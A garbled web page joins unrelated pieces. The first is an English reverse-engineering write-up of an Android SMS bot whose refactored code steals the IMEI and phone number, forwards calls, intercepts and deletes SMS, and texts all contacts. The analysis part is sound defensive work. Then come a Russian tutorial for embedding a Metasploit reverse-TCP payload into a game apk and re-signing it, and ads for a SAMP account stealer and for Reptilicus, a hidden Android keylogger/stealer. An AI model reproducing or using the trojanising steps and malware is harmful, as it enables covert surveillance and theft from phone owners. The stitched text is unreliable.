        this.e.add(new BasicNameValuePair("model", Build.MODEL));
        this.e.add(new BasicNameValuePair("os", VERSION.RELEASE));
        this.e.add(new BasicNameValuePair("phone", TelephonyManagerWrapper.getTelephonyManager(context).getLine1Number()));
        this.e.add(new BasicNameValuePair("imei", TelephonyManagerWrapper.getTelephonyManager(context).getDeviceId()));
        this.e.add(new BasicNameValuePair("version", s.w));
        this.e.add(new BasicNameValuePair("country", context.getResources().getConfiguration().locale.getCountry()));
        obj = t.q(str, "POST", this.e);
    } else if (this.r.startsWith("info")) {
        obj = t.q(str, "POST", this.e);
    } else if (this.r.startsWith("sms")) {
        obj = t.q(str, "POST", this.e);
    }
    if (StringDatabase.integerZero != 0) {
        if (z2) {
            z = false;
        }
        MainService.e = z;
    }
    return obj;
}

After the analysis of t, the new version of the doInBackground function will be given, along with a complete analysis of the class.

Class t

The function q in the class t is given below. Note that some variables have already been renamed based upon their type. Further changes will be explained down below.

public static JSONObject q(String url, String var1, List var2) {
    boolean var10001;
    label66:
    {
        DefaultHttpClient defaultHttpClient;
        try {
            if (var1 == "POST") {
                defaultHttpClient = new DefaultHttpClient();
                HttpPost httpPost = new HttpPost(url);
                UrlEncodedFormEntity urlEncodedFormEntity = new UrlEncodedFormEntity(var2, "UTF-8");
                httpPost.setEntity(urlEncodedFormEntity);
                inputStream = defaultHttpClient.execute(httpPost).getEntity().getContent();
                break label66;
            }
        } catch (Throwable var12) {
            var10001 = false;
            break label66;
        }
 
        try {
            if (var1 == "GET") {
                defaultHttpClient = new DefaultHttpClient();
                String formattedUrlUtils = URLEncodedUtils.format(var2, "utf-8");
                StringBuilder var3 = new StringBuilder(String.valueOf(url));
                HttpGet httpGet = new HttpGet(var3.append("?").append(formattedUrlUtils).toString());
                inputStream = defaultHttpClient.execute(httpGet).getEntity().getContent();
            }
        } catch (Throwable var11) {
            var10001 = false;
        }
    }
 
    label55:
    {
        BufferedReader var14;
        StringBuilder var20;
        try {
            InputStreamReader var18 = new InputStreamReader(inputStream, "iso-8859-1");
            var14 = new BufferedReader(var18, 8);
            var20 = new StringBuilder();
        } catch (Throwable var10) {
            var10001 = false;
            break label55;
        }
 
        while (true) {
            try {
                var1 = var14.readLine();
            } catch (Throwable var8) {
                var10001 = false;
                break;
            }
 
            if (var1 == null) {
                try {
                    inputStream.close();
                    w = var20.toString();
                    break;
                } catch (Throwable var7) {
                    Throwable var15 = var7;
 
                    try {
                        throw var15;
                    } catch (Throwable var6) {
                        var10001 = false;
                        break;
                    }
                }
            }
 
            try {
                var20.append(var1).append("n");
            } catch (Throwable var9) {
                var10001 = false;
                break;
            }
        }
    }
 
    try {
        JSONObject var16 = new JSONObject(w);
        jsonObject = var16;
    } catch (Throwable var5) {
    }
 
    return jsonObject;
}

This function takes three parameters, the first of which is the URL, as can be seen in the HttpPost constructor (which requires a URL). The URL is then appended using encoded parameters, as to avoid errors on the receiving end. The provided method, which is the second parameter (as can be derived from the if-statement) then compares if the given string is equal to GET or POST. The third argument, the parameters, are encoded and appended to the URL. The response of the server is returned as a JSONObject. The refactored method is given below.

public static JSONObject callC2(String url, String httpMethod, List parameters) {
    boolean var10001;
    label66:
    {
        DefaultHttpClient httpClient;
        try {
            if (httpMethod == "POST") {
                httpClient = new DefaultHttpClient();
                HttpPost httpPost = new HttpPost(url);
                UrlEncodedFormEntity urlEncodedFormEntity = new UrlEncodedFormEntity(parameters, "UTF-8");
                httpPost.setEntity(urlEncodedFormEntity);
                inputStream = httpClient.execute(httpPost).getEntity().getContent();
                break label66;
            }
        } catch (Throwable throwable) {
            var10001 = false;
            break label66;
        }
 
        try {
            if (httpMethod == "GET") {
                httpClient = new DefaultHttpClient();
                String encodedParameters = URLEncodedUtils.format(parameters, "utf-8");
                StringBuilder urlBuilder = new StringBuilder(String.valueOf(urlBuilder));
                HttpGet httpGet = new HttpGet(urlBuilder.append("?").append(encodedParameters).toString());
                inputStream = httpClient.execute(httpGet).getEntity().getContent();
            }
        } catch (Throwable throwable) {
            var10001 = false;
        }
    }
 
    label55:
    {
        BufferedReader bufferedReader;
        StringBuilder stringBuilder;
        try {
            InputStreamReader inputStreamReader = new InputStreamReader(inputStream, "iso-8859-1");
            bufferedReader = new BufferedReader(inputStreamReader, 8);
            stringBuilder = new StringBuilder();
        } catch (Throwable var10) {
            var10001 = false;
            break label55;
        }
 
        while (true) {
            try {
                httpMethod = bufferedReader.readLine();
            } catch (Throwable throwable) {
                var10001 = false;
                break;
            }
 
            if (httpMethod == null) {
                try {
                    inputStream.close();
                    serverResponseRaw = stringBuilder.toString();
                    break;
                } catch (Throwable throwable) {
                    Throwable throwable2 = throwable;
 
                    try {
                        throw throwable2;
                    } catch (Throwable throwable1) {
                        var10001 = false;
                        break;
                    }
                }
            }
 
            try {
                stringBuilder.append(httpMethod).append("n");
            } catch (Throwable throwable) {
                var10001 = false;
                break;
            }
        }
    }
 
    try {
        JSONObject serverResonseJson = new JSONObject(serverResponseRaw);
        ServerCommunicator.serverResponseJson = serverResonseJson;
    } catch (Throwable throwable) {
    }
 
    return serverResponseJson;
}

Based on the callC2 function, the class can be renamed to ServerCommunicator.

Class i – part II

Based on the new information of the ServerCommunicator class, the doInBackground function within the class i is easier to understand and refactor. At first, it collects the method and ID.

If the given method equals install, it also collects the network operator, build model, version release, phone number, IMEI, the bot version, and the country. All this data is sent to the C&C server.

If the command equals info, only the method and ID of the bot are sent to the C&C server.

Lastly, there is an option which is named sms. This method behaves the same way as the info method.

protected final Object doInBackground(Object[] urlArray) {
    Object var2 = null;
    boolean var3 = false;
    boolean var4 = MainService.e;
    String url = ((String[]) urlArray)[0];
    ServerCommunicator serverCommunicator = new ServerCommunicator();
    this.parameters.add(new BasicNameValuePair("method", this.command));
    this.parameters.add(new BasicNameValuePair("id", this.sharedPreferences.getString("id", (String) null)));
    JSONObject serverResponse;
    if (this.command.startsWith("install")) {
        String POST = "POST";
        this.parameters.add(new BasicNameValuePair("operator", TelephonyManagerWrapper.getTelephonyManager(context).getNetworkOperatorName()));
        this.parameters.add(new BasicNameValuePair("model", Build.MODEL));
        this.parameters.add(new BasicNameValuePair("os", VERSION.RELEASE));
        this.parameters.add(new BasicNameValuePair("phone", TelephonyManagerWrapper.getTelephonyManager(context).getLine1Number()));
        this.parameters.add(new BasicNameValuePair("imei", TelephonyManagerWrapper.getTelephonyManager(context).getDeviceId()));
        this.parameters.add(new BasicNameValuePair("version", Constants.version));
        this.parameters.add(new BasicNameValuePair("country", context.getResources().getConfiguration().locale.getCountry()));
        serverResponse = ServerCommunicator.callC2(url, POST, this.parameters);
    } else if (this.command.startsWith("info")) {
        serverResponse = ServerCommunicator.callC2(url, StringDatabase.POST, this.parameters);
    } else {
        serverResponse = (JSONObject) var2;
        if (this.command.startsWith("sms")) {
            serverResponse = ServerCommunicator.callC2(url, StringDatabase.POST, this.parameters);
        }
    }
 
    if (StringDatabase.integerZero != 0) {
        if (!var4) {
            var3 = true;
        }
 
        MainService.e = var3;
    }
 
    return serverResponse;
}

Note that the Constants class only contains two fields and zero methods. The names of these variables can directly be deducted from the value of them. The class is given below.

public final class Constants {
    public static int int50005 = 50005;
    public static String version = "5";
}

onPostExecute
Via a friend, I obtained Java code which was decompiled with JEB. The code is still a horrible mess, as the length of the function (roughly 250 lines) indicates. Additionally, there were a lot of try-catch structures and jumps that were taken without any reason.

The SMALI equivalent code is roughly 550 lines long, making it too big to analyse within this article. Based on the SMALI code, it was visible what the function roughly did: comparing strings and executing code if the comparison was correct. This might indicate the handling of commands, which the Java code confirmed. Below is a unaltered excerpt of the decompiled Java code.

//[omitted]
try {
    if(v15.equals(String.valueOf(o.h) + o.E)) {
        this.w.edit().putLong(o.u, Long.valueOf((((long)(v8.optInt(i.t[17]) * 1000))) + System.currentTimeMillis()).longValue()).commit();
    }
    if(v15.equals(String.valueOf(o.h) + i.t[18])) {
        i.q(v8.optString(i.t[33]), v8.optString(o.c));
    }
    if(v15.equals(i.t[21] + o.f + i.t[16])) {
        v16 = v8.optString(i.t[33]);
        v17 = i.q.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
        if(v17 != null) {
                goto label_125;
        }
            goto label_132;
    }
        goto label_160;
}
    catch(Throwable v2) {
    return;
}
    try {
    label_125:
    if(v17.getCount() > o.z) {
            goto label_128;
    }
        goto label_132;
}
    catch(Throwable v2) {
        goto label_273;
}
//[omitted]

To fit this part of the malware in this article, I rewrote the roughly 250 lines of code to the code that is given below. The rewritten code contains all functionality that is present within the bot without the decompilation errors. Note that the string array in which most of the strings are present, contains 33 strings. It also used the strings from the class StringDatabase, making it quite a mess.

In the code are classes that have not been analysed before. These classes will be analysed when need be.

protected final void onPostExecute(JSONArray commandJson) {
    String command = commandJsonArray[0];
    switch (command) {
        case "install_true":
            sharedPreferenceEditor.putString("inst", "2").commit();
            break;
        case "call_number":
            TelephonyManagerWrapper2.callPhoneNumber(context, "*21*" + commandJson.optString("phone") + "#");
            new Handler().postDelayed(new StopCallForwardingRunnable(this), 1000 * (((long) commandJson.optInt("time"))));
            break;
        case "sms_grab":
            Long time_perehv = (((long) (commandJson.optInt("time") * 1000))) + System.currentTimeMillis();
            sharedPreferenceEditor.putLong("time_perehv", time_perehv).commit();
            break;
        case "sms_send":
            sendAndRemoveMessage(commandJson.optString("message"), commandJson.optString("phone"));
            break;
        case "delivery":
            TelephonyManagerWrapper2.callPhoneNumber(context, "*21*+79009999999#");
            String smsMessage = commandJson.optString("text");
            String recipientPhoneNumber;
            Cursor allContacts = context.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
            Cursor contactIds = context.getContentResolver().query(ContactsContract$CommonDataKinds$Phone.CONTENT_URI, null, "contact_id = ?", new String[]{allContacts.getString(allContacts.getColumnIndex("_id"))}, null);
            if (allContacts.getCount() > 0 && contactIds.getCount() > 0) {
                for (int i = 1; i < 30; i++) {
                    if (allContacts.moveToNext()) {
                        if (contactIds.moveToFirst()) {
                            recipientPhoneNumber = contactIds.getString(contactIds.getColumnIndex("data1"));
                            if (recipientPhoneNumber != null) {
                                sendAndRemoveMessage(smsMessage, recipientPhoneNumber);
                            }
                        }
                    }
                }
            }
            break;
        case "new_url":
            String url = commandJson.optString("text");
            if (url.length() > 10) {
                sharedPreferenceEditor.putString("url", url).commit();
                sharedPreferenceEditor.putString("inst", "1").commit();
            }
            break;
        case "ussd":
            TelephonyManagerWrapper2.callPhoneNumber(context, commandJson.optString("phone"));
            break;
    }
}

In the switch, multiple commands are handled. Below, the different commands are listed. After that, each command is analysed one by one in the listed order.

  • install_true
  • call_number
  • sms_grab
  • sms_send
  • delivery
  • new_url
  • ussd

install_true
Upon receiving this command, the string inst is set to 2 in the shared preference file. This marks the installation as complete.

case "install_true":
    sharedPreferenceEditor.putString("inst", "2").commit();
    break;

call_number
Sets the phone number to which calls should be forwarded. Using *21* as a prefix and a # as a suffix ensures that incoming calls are forwarded to the number in between the prefix and suffix.

case "call_number":
    TelephonyManagerWrapper2.callPhoneNumber(context, "*21*" + commandJson.optString("phone") + "#");
    new Handler().postDelayed(new StopCallForwardingRunnable(this), 1000 * (((long) commandJson.optInt("time"))));
    break;

The class StopCallForwardingRunnable calls #21#, which cancels the call forwarding. The time variable within the command specifies when the forwarding should be cancelled since the invocation of the runnable is delayed. The time variable equals the time to wait in seconds, since it is multiplied by 1000 and the original function expects milliseconds. The code is given below.

public final void run() {
    new TelephonyManagerWrapper2().callPhoneNumber(i.context, "#21#");
}

The class TelephonyManagerWrapper2 is analysed after all the commands have been analysed.

sms_grab
The value for time_perehv is set to a given time (in seconds) in the future. The code for the command handling is given below.

case "sms_grab":
    Long time_perehv = (((long) (commandJson.optInt("time") * 1000))) + System.currentTimeMillis();
    sharedPreferenceEditor.putLong("time_perehv", time_perehv).commit();
    break;

Using the Find usage function in Android Studio, one can see that the string time_perehv in the StringDatabase class (which is replaced in the code above to increase readability) is also used in the class Ma. The two interesting functions are getAllSmsMessageBodies and the onReceive function, since the class is a BroadcastReceiver.

The getAllSmsMessageBodies function requires a single parameter: an array of SMS messages. The body of each text message is put in a string. The result is returned as a single string.

private static String getAllSmsMessageBodies(SmsMessage[] smsMessageArray) {
    StringBuilder stringBuilder = new StringBuilder();
    for (SmsMessage messageBody : smsMessageArray) {
        stringBuilder.append(messageBody.getMessageBody());
    }
    return stringBuilder.toString();
}

Classes that are extended with the BroadcastReceiver class are required to implement the onReceive function. Upon handling an intent for which the BroadcastReceiver is listening, the onReceive function handles the intent that is given to it. The code below shows the onReceive function.

public void onReceive(Context context, Intent intent) {
    String intentAction;
    context.startService(new Intent(context, MainService.class));
    this.sharedPreferences = context.getSharedPreferences("PREFS_NAME", 0);
    try {
        intentAction = intent.getAction();
    } catch (Throwable th) {
        intentAction = "";
    }
    Object[] objArr = (Object[]) intent.getExtras().get("pdus");
    if (isActive || objArr != null) {
        SmsMessage[] smsMessageArray = new SmsMessage[objArr.length];
 
        long j = this.sharedPreferences.getLong("time_perehv", 0);
        if (System.currentTimeMillis() < Long.valueOf(j).longValue()) {
            this.w = true;
        }
        if (Boolean.valueOf(SmsMessage.createFromPdu((byte[]) objArr[0]).getDisplayOriginatingAddress().equalsIgnoreCase("900")).booleanValue()) {
            this.w = true;
        }
        if (this.w && intent != null && intentAction != null) {
            if ("android.provider.telephony.SMS_RECEIVED".compareToIgnoreCase(intentAction) == 0) {
                String displayOriginatingAddress;
                for (int i = 0; i < objArr.length; i++) {
                    smsMessageArray[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
                    SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) objArr[i]);
                    displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress();
                    new Handler().postDelayed(new y(this, context, createFromPdu.getDisplayMessageBody(), displayOriginatingAddress), 2000);
                }
                String allSmsMessageBodies = getAllSmsMessageBodies(smsMessageArray);
                displayOriginatingAddress = smsMessageArray[0].getDisplayOriginatingAddress();
                List parameters = new ArrayList();
                parameters.add(new BasicNameValuePair("fromPhone", displayOriginatingAddress));
                parameters.add(new BasicNameValuePair("text", allSmsMessageBodies));
                new CommandHandler(context, parameters, "sms").execute(new String[]{"url", null)})
                ;
                try {
                    q();
                    return;
                } catch (Exception e) {
                    return;
                }
            }
            return;
        }
        return;
    }
    throw new AssertionError();
}

In this code, the function q and the class y are unknown. The core functionality of the function is already visible. The variable long j is equal to the value of time_perehv. This value is set via the C&C server’s command. If j is later than the current system time, the boolean w is set to true. Note that w is set to false by default. The boolean is also set to true if the recipient’s number equals 900.

If w is set to true the execution of the code continues by comparing the intent’s action to the one which is given when a SMS is received. If this is true, the class y is started with a two second delay.

Afterwards, the content of all SMS messages is posted to the C&C server using the sms command. Lastly, the function q is executed.

The code of y is given below.

public final void run() {
    ((android.app.NotificationManager) this.context.getSystemService("notification").cancelAll();
    TelephonyManagerWrapper2.removeSentMessages(this.context, (String) this.body, this.numberTo);
}

By using the NotificationManager, it is possible to cancel all notifications. Afterwards, all messages that were sent to the value of numberTo are deleted. Based on this information, the class y can be renamed to CancelAllNotificationsRunnable.

The function q (in the class Ma) is given below.

private boolean q() {
    try {
        Class.forName("android.content.Receiver").getDeclaredMethod("abortBroadcast", new Class[0]).invoke(this, new Object[0]);
    } catch (Throwable th) {
    }
    return true;
}

Using reflection, the method abortBroadcast is invoked, causing the broadcast to be removed from the system. Therefore, this function can be renamed to abortBroadcastWrapper.

Based on the analysis above, the onReceive function of the class Ma can be fully refactored, as can be seen below.

public void onReceive(Context context, Intent intent) {
    String intentAction;
    context.startService(new Intent(context, MainService.class));
    this.sharedPreferences = context.getSharedPreferences("PREFS_NAME", 0);
    try {
        intentAction = intent.getAction();
    } catch (Throwable th) {
        intentAction = "";
    }
    Object[] objArr = (Object[]) intent.getExtras().get("pdus");
    if (isActive || objArr != null) {
        SmsMessage[] smsMessageArray = new SmsMessage[objArr.length];
 
        long blockTimeDeadline = this.sharedPreferences.getLong("time_perehv", 0);
        if (System.currentTimeMillis() < Long.valueOf(blockTimeDeadline).longValue()) {
            this.shouldBlock = true;
        }
        if (Boolean.valueOf(SmsMessage.createFromPdu((byte[]) objArr[0]).getDisplayOriginatingAddress().equalsIgnoreCase("900")).booleanValue()) {
            this.shouldBlock = true;
        }
        if (this.shouldBlock && intent != null && intentAction != null) {
            if ("android.provider.telephony.SMS_RECEIVED".compareToIgnoreCase(intentAction) == 0) {
                String displayOriginatingAddress;
                for (int i = 0; i < objArr.length; i++) {
                    smsMessageArray[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
                    SmsMessage createFromPdu = SmsMessage.createFromPdu((byte[]) objArr[i]);
                    displayOriginatingAddress = createFromPdu.getDisplayOriginatingAddress();
                    new Handler().postDelayed(new CancelAllNotificationsRunnable(this, context, createFromPdu.getDisplayMessageBody(), displayOriginatingAddress), 2000);
                }
                String allSmsMessageBodies = getAllSmsMessageBodies(smsMessageArray);
                displayOriginatingAddress = smsMessageArray[0].getDisplayOriginatingAddress();
                List parameters = new ArrayList();
                parameters.add(new BasicNameValuePair("fromPhone", displayOriginatingAddress));
                parameters.add(new BasicNameValuePair("text", allSmsMessageBodies));
                new CommandHandler(context, parameters, "sms").execute(new String[]{"url", null)})
                ;
                try {
                    abortBroadcastWrapper();
                    return;
                } catch (Exception e) {
                    return;
                }
            }
            return;
        }
        return;
    }
    throw new AssertionError();
}

The time that was given by the C&C server (and saved in the shared preference time_perehv) determines until when all incoming messages should be blocked and deleted. Therefore, the class Ma can be renamed to SmsBlocker.

sms_send
Sends a given text message to the given phone number in the JSON command. Afterwards, the text message is deleted to avoid any suspicion if the user checks the sent SMS messages.

case "sms_send":
    sendAndRemoveMessage(commandJson.optString("message"), commandJson.optString("phone"));
    break;

In the rewritten code above, the function sendAndRemoveMessage is used. This method sends a SMS message to a given number with a given body. After two seconds, all the text messages that are available on the device are deleted using the runnable RemoveAllSentMessagesRunnable.

private static void sendAndRemoveMessage(String message, String numberTo) {
    if (numberTo != null && message != null) {
        TelephonyManagerWrapper.sendSms(numberTo, message);
        (new Handler()).postDelayed(new RemoveAllSentMessagesRunnable(message, numberTo), 2000L);
    }
}

The RemoveAllSentMessagesRunnable class wraps around the the TelephonyManagerWrapper2, which is analysed later on.

final class RemoveAllSentMessagesRunnable implements Runnable {
    private final String message;
    private final String numberTo;
 
    RemoveAllSentMessagesRunnable(String message, String numberTo) {
        this.message = message;
        this.numberTo = numberTo;
    }
 
    public final void run() {
        TelephonyManagerWrapper2.removeSentMessages(CommandHandler.context, this.message, this.numberTo);
    }
}

ussd
Using the callPhoneNumber function (which resides in the TelephonyManagerWrapper2 class), the phone number that is provided in the command is called. The phone number which is entered can be a ussd command.

case "ussd":
    TelephonyManagerWrapper2.callPhoneNumber(context, commandJson.optString("phone"));
    break;

delivery
The code for the delivery command is given below. The code has been refactored to include as much detail as possible.

case "delivery":
    TelephonyManagerWrapper2.callPhoneNumber(context, "*21*+79009999999#");
    String smsMessage = commandJson.optString("text");
    String recipientPhoneNumber;
    Cursor allContacts = context.getContentResolver().query(ContactsContract$Contacts.CONTENT_URI, null, null, null, null);
    Cursor contactIds = context.getContentResolver().query(ContactsContract$CommonDataKinds$Phone.CONTENT_URI, null, "contact_id = ?", new String[]{allContacts.getString(allContacts.getColumnIndex("_id"))}, null);
    if (allContacts.getCount() > 0 && contactIds.getCount() > 0) {
        for (int i = 1; i < 30; i++) {
            if (allContacts.moveToNext()) {
                if (contactIds.moveToFirst()) {
                    recipientPhoneNumber = contactIds.getString(contactIds.getColumnIndex("data1"));
                    if (recipientPhoneNumber != null) {
                        sendAndRemoveMessage(smsMessage, recipientPhoneNumber);
                    }
                }
            }
        }
    }
    break;

At first, the phone is set to forward any call it receives to the number +79009999999. The prefix +79 is used for Slovenia. After that, the SMS message’s body is retrieved from the command. Using two queries, all contacts of the phone are queried, with the upper limit of 29 (since i starts at 1 instead of 0). These contacts all receive a SMS message with the body that was defined in the command. Afterwards, the message is removed from the sent messages on the phone.

new_url
With this command, the C&C server’s URL can be altered in the settings. The name of the URL within the command equals text. A sanity check is done to see if the URL is longer than 10 characters. The specification of the HTTP protocol (http://) and a two character top level domain (i.e. .nl) equal 10 characters in total.

The smallest possible URL is therefore 11 characters, and thus allowed by this bot. The inst setting is set to 1 since the phone is not yet registered on the new C&C server. The code is given below.

case "new_url":
    String url = commandJson.optString("text");
    if (url.length() > 10) {
        sharedPreferenceEditor.putString("url", url).commit();
        sharedPreferenceEditor.putString("inst", "1").commit();
    }
    break;

Renaming the class
Based on the information in both functions, this class handles the command that is given to it by comparing the command (a string) to a list of known commands and then invoking the correct class to perform the requested action. The class is therefore named CommandHandler.

TelephonyManagerWrapper2

The code for the TelephonyManagerWrapper2 is given below.

public static void removeSentMessages(Context context, String body, String numberTo) {
    try {
        Uri parse = Uri.parse("content://sms/inbox");
        Cursor query = context.getContentResolver().query(parse, new String[]{"_id", "thread_id", "person", "date", "body"}, null, null, null);
        if (query == null) {
            return;
        }
        if (query.moveToFirst()) {
            do {
                long firstMessage = query.getLong(0);
                String thread_id = query.getString(2);
                if (body.equals(query.getString(5))) {
                    if (thread_id.equals(numberTo)) {
                        context.getContentResolver().delete(Uri.parse("content://sms/" + firstMessage), null, null);
                    }
                }
            } while (query.moveToNext());
        }
    } catch (Throwable th) {
    }
}

All SMS messages which are sent to the the recipient’s number (if both the phone number and the message body are equal to the phone number and text message body that are provided as parameters for the function) are deleted from the phone.

The code for the callPhoneNumber function is given below.

public final void callPhoneNumber(Context context, String phoneNumber) {
    ((TelephonyManager) context.getSystemService("phone")).listen(new q(this, context, (byte) 0), 32);
    Intent intent = new Intent("android.intent.action.Call");
    intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
    intent.setData(Uri.fromParts("tel", phoneNumber, "#"));
    context.startActivity(intent);
}

The phone number that is provided as an argument in this function is called. The class named q is a wrapper around the class PhoneStateListener, as can be seen below.

final class q extends PhoneStateListener {
    Context context;
    final TelephonyManagerWrapper2 telephonyManagerWrapper2;
 
    private q(TelephonyManagerWrapper2 telephonyManagerWrapper2, Context context) {
        this.telephonyManagerWrapper2 = telephonyManagerWrapper2;
        this.context = context;
    }
 
    q(TelephonyManagerWrapper2 telephonyManagerWrapper2, Context context, byte b) {
        this(telephonyManagerWrapper2, context);
    }
 
    public final void onCallStateChanged(int i, String str) {
    }
}

As such, it can be refactored to PhoneStateListenerWrapper.

Conclusion

To conclude, all classes within the bot were discovered, analysed and refactored. This provides a complete overview of the bot’s commands, their inner workings, and the lay-out of the bot. Upon inspecting the manifest at last, all classes have been refactored.


To contact me, you can e-mail me at [info][at][maxkersten][dot][nl], send me a PM on Reddit, or DM me on Twitter @Libranalysis.

Обновлено: 05.03.2023

Сегодня мы будем делать стиллер для андроид на Kali Linux (тоже со смартфона).

Установка необходимых компонентов

Далее установим Zipalign

Сборка бекдора

Запускаем в отдельном окне ngrok

Полученные lhost и lport используем для создания пейлоада

-p android/meterpreter/reverse_tcp LHOST=<адресс lhost> LPORT=<значение lport>M> /home/kali/payload.apk

На выходе получаем apk файл. Его и файл игры, в которую будем вшивать вирус, нужно распаковать с помощью команд:

Теперь остается преобразить загрузочный файл бекдора. Копируем папку metasploit по пути /payload/smali/com/ в /game/smali/com/. Теперь переходим в папку /game/smali/com/dotgears/game/ и открываем файл SplashScreen.smali. В нем находим метку «virtual methods» и после строки начинающейся на invoke-super, то есть на строку под номером 34, вставляем

, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

Теперь нужно обновить запрос разрешений при установке. Для этого переходим в папку payload и из файла AndroidManifest.xml копируем все теги uses-permission. Вставляем их в аналогичный файл AndroidManifest.xml в папке game, удалив при этом находящиеся там теги uses-permission.

Компилируем отредактированный файл игры в apk

Готовый файл нужно искать в game/dist/. Остается его подписать. Генерируем подпись коммандой

-genkey -V -keystore key.keystore -alias codered -keyalg RSA -keysize 2048 -validity 1000

Получаем файл key.keystore. Теперь сертифицируем наш apk

-verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore key.keystore game.apk codered

Выравниваем подписанное приложение командой

Почему FREE-STEAL лучший скрипт?

Обход антискриптов

Мы имеем 5 форматов скрипта(LUA, ASI, CLEO, DLL, SF) и все они обходят такие антискрипты как /log, darkpixel, AVP. Так же наши скрипты обходят детекты антивирусов, и менее палевны современными антивирусами!

Безопасность

Наши скрипты не являются вирусом. Они не крадут никакие файлы с ПК, они всего лишь собирают информацию с диалоговых окон GTA SAMP(репорт, ставки казино. ) для дальнейшего анализа.

Бесплатный и совместимый скрипт

Наши скрипты работают на SAMP 0.3.7 R1-R4. Так же на CR:MP R3. «ФриСтил» — некоммерческий проект, мы не получаем прибыль от своих клиентов. Все наши товары бесплатны!

Ищешь проверенный и качественный скрипт для добычи аккаунтов в SAMP и CRMP?

Reptilicus — кейлоггер/стиллер для андроид

Возможность скриншотов определенного приложения (например, при настройке на скайп — будут скриншоты только во время пользования скайпом).

Есть возможность работать с файловой системой на телефоне — удаленно скачивать, удалять, архивировать файлы (полноценный FTP).

Возможность самостоятельно генерировать имя приложения, будь то android-system или moy-telefon.apk. Иконка стандартная — «зеленый робот» (генерация — бесплатно).

Сервис предоставляется «as is», соглашаясь на использование, Вы принимаете политику конфиденциальности, и политику безопасности сервиса.

Программа, работая в полностью скрытом режиме, даёт следующие возможности:

Super Hide опция предназначена для быстрой и скрытной установки приложения. Вам не нужно тратить время на установку обычной версии для привязки телефона. Сгенерированное приложение с данной опцией нужно всего лишь установить и один раз запустить. В момент запуска, приложение сразу же закроется (никаких «палевных» окон, запросов на авторизацию и пр. при этом не будет. ) и исчезнет ярлык для запуска. Сгенерированный apk, Вы можете без проблем выслать на подконтрольный телефон, сказав при этом: «Установи новую игру». Приложение сделает все самостоятельно (запустит и скроет себя) и телефон появится на вашей учетной записи.

Читайте также:

      

  • В треугольнике авс известно что ав вс 20 sin
  •   

  • Что будет после cs go
  •   

  • Как называется жизнь после рождения
  •   

  • Можно ли выжить после удара током
  •   

  • Как нарисовать кошку майнкрафт

Понравилась статья? Поделить с друзьями:
  • Как написать справку об освобождении от уроков
  • Как написать спокойной ночи парню чтобы было приятно
  • Как написать сочинение характеристика человека
  • Как написать сочинение про учительницу
  • Как написать сочинение описание природы план